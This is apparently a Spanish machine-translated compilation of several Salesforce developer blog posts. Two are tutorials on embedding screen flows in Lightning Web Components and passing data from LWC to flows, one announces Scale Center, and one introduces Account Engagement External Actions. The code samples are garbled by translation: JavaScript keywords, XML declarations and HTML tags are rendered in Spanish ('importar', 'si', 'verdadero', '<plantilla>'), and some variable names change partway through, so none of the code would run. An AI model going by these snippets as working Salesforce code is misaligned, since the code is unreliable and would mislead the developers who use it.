  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciará y mostrará el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en función de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representará si la condición correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="estándar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-relámpago> </div>
</plantilla>
embedFlowToLWC.js

Este código JavaScript de muestra usa el decorador @api para crear propiedades públicas. Por ejemplo, recordId es una propiedad reactiva pública que contiene el ID de la página de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una función del módulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importación se utilizan para importar los módulos y las dependencias necesarios. LightningElement es el componente básico para crear componentes web Lightning.
  • account({ error, data }) es una función que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero según el tipo de cuenta.
  • get inputVariables() es un método captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } más si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnológico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acción después de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente está diseñado para usarse en una página de registro en Lightning App Builder.



<?versión xml=”1.0″ codificación=”UTF-8″?>
<LightningComponentBundle xmlns=”http://soap.sforce.com/2006/04/metadata”>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>relámpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Salesforce Scale Center está generalmente disponible ☁️

Salesforce Scale Center está generalmente disponible ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Salesforce Scale Center está generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicación diseñada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con información mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las métricas de rendimiento de la organización y a los conocimientos prácticos.

En esta publicación, escuchará cómo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto crítico del diseño e implementación de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Diseñar para el futuro y predecir y simular el tráfico comercial futuro puede ser un desafío. Si bien algunos errores pueden detectarse durante la fase de diseño, la mayoría de los errores ocurren solo durante el tiempo de ejecución en producción y, a veces, se manifiestan durante las cargas máximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las métricas de rendimiento necesarias para aislar los puntos críticos y la capacidad de profundizar en estos puntos críticos para el análisis de la causa raíz y la guía de remediación. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicación de manera proactiva en lugar de reactivamente, asegurando soluciones más disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visión completa de sus métricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instantánea de las métricas de rendimiento de su organización durante un intervalo de tiempo definido. A los clientes se les proporciona un panel único de visualización de errores comunes, incluidos inicios de sesión fallidos, errores de Apex simultáneos y errores de Rowlock. Además, los clientes pueden ver las métricas clave visualizadas en un gráfico durante la duración del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar rápidamente puntos críticos de rendimiento y escala.

Llevar a cabo un análisis profundo de un problema de rendimiento

Caso de uso: optimización del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos críticos, problemas y picos dentro de las métricas de rendimiento, los clientes pueden investigar los componentes y sistemas que están causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicación lleva mucho tiempo y falla con frecuencia. A continuación, explicaremos cómo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gráfico de CPU de la base de datos .

2. En el gráfico, haga clic y arrastre para resaltar los picos en las métricas de rendimiento.

3. Seleccione el tipo de informe e inicie un análisis de la base de datos.

4. Cambie a la pestaña Análisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qué acciones específicas están provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, Límites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los análisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes períodos de tiempo

Salesforce Scale Center permite a los clientes comparar las métricas de rendimiento de la organización en diferentes períodos de tiempo. Los casos de uso clave incluyen:

  • Preparación para la implementación de producción:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producción
  • Evaluación del impacto posterior a la implementación:
    • Después de un lanzamiento importante o una implementación de funciones en producción, aproveche Scale Center para comparar las métricas de la organización antes y después de la implementación.
    • Determinar si la implementación ha tenido algún impacto negativo en el desempeño general de la organización.
  • Análisis del rendimiento durante los días pico:
    • Utilice la función de comparación de Scale Center para evaluar el impacto en el rendimiento de la organización durante los días pico.
    • Compare las métricas de tráfico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

Cómo comparar períodos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparación.

2. Compare las métricas de primera línea.

3. Compare los gráficos de rendimiento de la organización.

Al aprovechar la función de comparación de Scale Center, los desarrolladores pueden obtener información valiosa sobre el rendimiento de la organización, identificar áreas de optimización y garantizar un proceso de implementación fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y está disponible en todas las organizaciones de sandbox de copia completa y de producción de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organización y no accede a los datos de su organización
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center esté habilitado en una organización fuera de UE, comuníquese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuración.
  2. Ingrese "Centro de escala" en el cuadro Búsqueda rápida y haga clic en la pestaña Rendimiento de la organización en la hoja Rendimiento.
  3. Habilite Scale Center para su organización activando la opción Habilitar Scale Center .

Tenga en cuenta que las métricas de rendimiento pueden tardar hasta dos horas en aparecer después de habilitar Scale Center.

Más recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Pasar datos del componente web Lightning al flujo de pantalla

Pasar datos del componente web Lightning al flujo de pantalla

Última actualización el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Después de leer este blog, podrá:

  • Incruste un componente web relámpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la función Crear pantallas con componentes interactivos (actualmente en versión beta), ahora puede habilitar la interacción directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no existía una disposición directa para la interacción dinámica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios tenían que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campeón de Automatización (I-do):

Al crear el componente web Lightning, también utilizaremos el evento FlowAttributeChangeEvent . Esto permitirá que un componente controle la navegación del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Práctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicación de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicación de entrada
    3. Agregar un componente de número de entrada para mostrar la latitud desde la ubicación de entrada Componente LWC
    4. Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicación de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicación de entrada con el siguiente código. El componente lightning-input-location representa un campo de geolocalización compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geográficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud está entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada más allá de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalización compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicación de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al método handleChange de la clase JavaScript de LWC.

<plantilla> <relámpago-entrada-ubicación etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicación-de-entrada-del-relámpago>
</plantilla>
lwcToScreenFlow.js

Este código JavaScript de muestra utiliza el decorador @api para crear propiedades públicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades públicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un método de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas líneas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [“latitud”, “longitud”].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta línea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, envía un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicación, esta[ubicación])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente está diseñado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos están configurados para ser del tipo Integer y tienen la función de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicación de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de número de entrada para mostrar la latitud desde el componente LWC de ubicación de entrada

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Comenzando con Acciones Externas ☁️

Comenzando con Acciones Externas ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este año, así como a través de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Seguía surgiendo una pregunta: "¿Cómo empiezo con las acciones externas?" En esta publicación, aprenderá qué son las acciones externas, cómo configurarlas y cómo probarlas. Además, sintonice una próxima sesión de codeLive el 20 de julio a las 10 a. m. PT , donde realizaré una demostración de codificación en vivo para mostrarle cómo crear una acción externa y responder sus preguntas.

¿Qué son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensión de aplicación de marketing. En el momento de escribir este artículo, las actividades externas aún no se pueden empaquetar, pero eventualmente también se empaquetarán en la extensión de la aplicación de marketing.

Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.

¿Cuáles son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, ¡diría absolutamente todo! Puede que estés pensando: “¡Claro, todo el mundo dice eso!”. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustaría que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aquí>", entonces deseaba una acción externa.

Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.

¿Qué constituye una acción externa?

Una acción externa consta de una acción invocable de Apex, metadatos de la extensión de la aplicación de marketing, metadatos de una acción externa y una forma de gestionar la autenticación. Los metadatos para las extensiones de la aplicación de marketing y las actividades externas conectan la acción invocable con la participación de la cuenta. Los componentes que se usarán para la autenticación pueden variar según el tipo de autenticación que admita el servicio. Como OAUTH 2.0 es bastante común, el componente que uso más es un proveedor de autorización y Credenciales con nombre . Las credenciales con nombre también facilitan la administración de la autenticación en mi código, y el sistema hace la mayor parte del trabajo.

¿Qué habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentación de la API REST

El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementación de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendaría, como mínimo, familiarizarse con la compilación y la implementación de código Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener más información, encontré útil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el código de la aplicación de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.

¿Cómo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman también proporciona una manera fácil de generar ejemplos.
  • CLI de Visual Studio + Salesforce — Uso Visual Studio para codificar mi acción invocable y la implemento en mi organización de desarrollador. La mayoría de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este artículo, solo admitimos paquetes de primera generación (1GP) , por lo tanto, no configure su organización de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acción invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver rápidamente el código o ver los registros de sus pruebas de flujo de pantalla.

Patrón básico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acción invocable, e InvocableMethod , que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi código en dos clases facilita jsonificar la carga útil. Mi clase de entrada contiene todos los campos de variables invocables que la acción invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construirá la carga útil a partir de la entrada, la convertirá a JSON y luego la agregará a la solicitud HTTP. A continuación, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el método. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error útil para diagnosticar un problema.

Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi código. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigación de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integración B2BMA, para poder ver mis registros de Apex y diagnosticar el problema más a fondo. Tenga cuidado, podría terminar con una gran cantidad de datos. El Usuario de Integración B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acción externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acción externa que resultó en una falla. Es útil ver lo que sucedió durante una ejecución de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.

Errores comunes

Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.

Finalmente, si su acción externa no funciona, pero no ve errores, verifique que la acción invocable fue diseñada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

¿Que estas esperando? ¡Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.

Entonces, configure su entorno de desarrollador, revise la aplicación de referencia y comience a construir su acción externa hoy. El 20 de julio a las 10 a. m. (hora del Pacífico) , realizaremos una sesión de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , así que únase y síganos mientras construimos una extensión de la aplicación de marketing de Twilio.

Recursos

Sobre el Autor

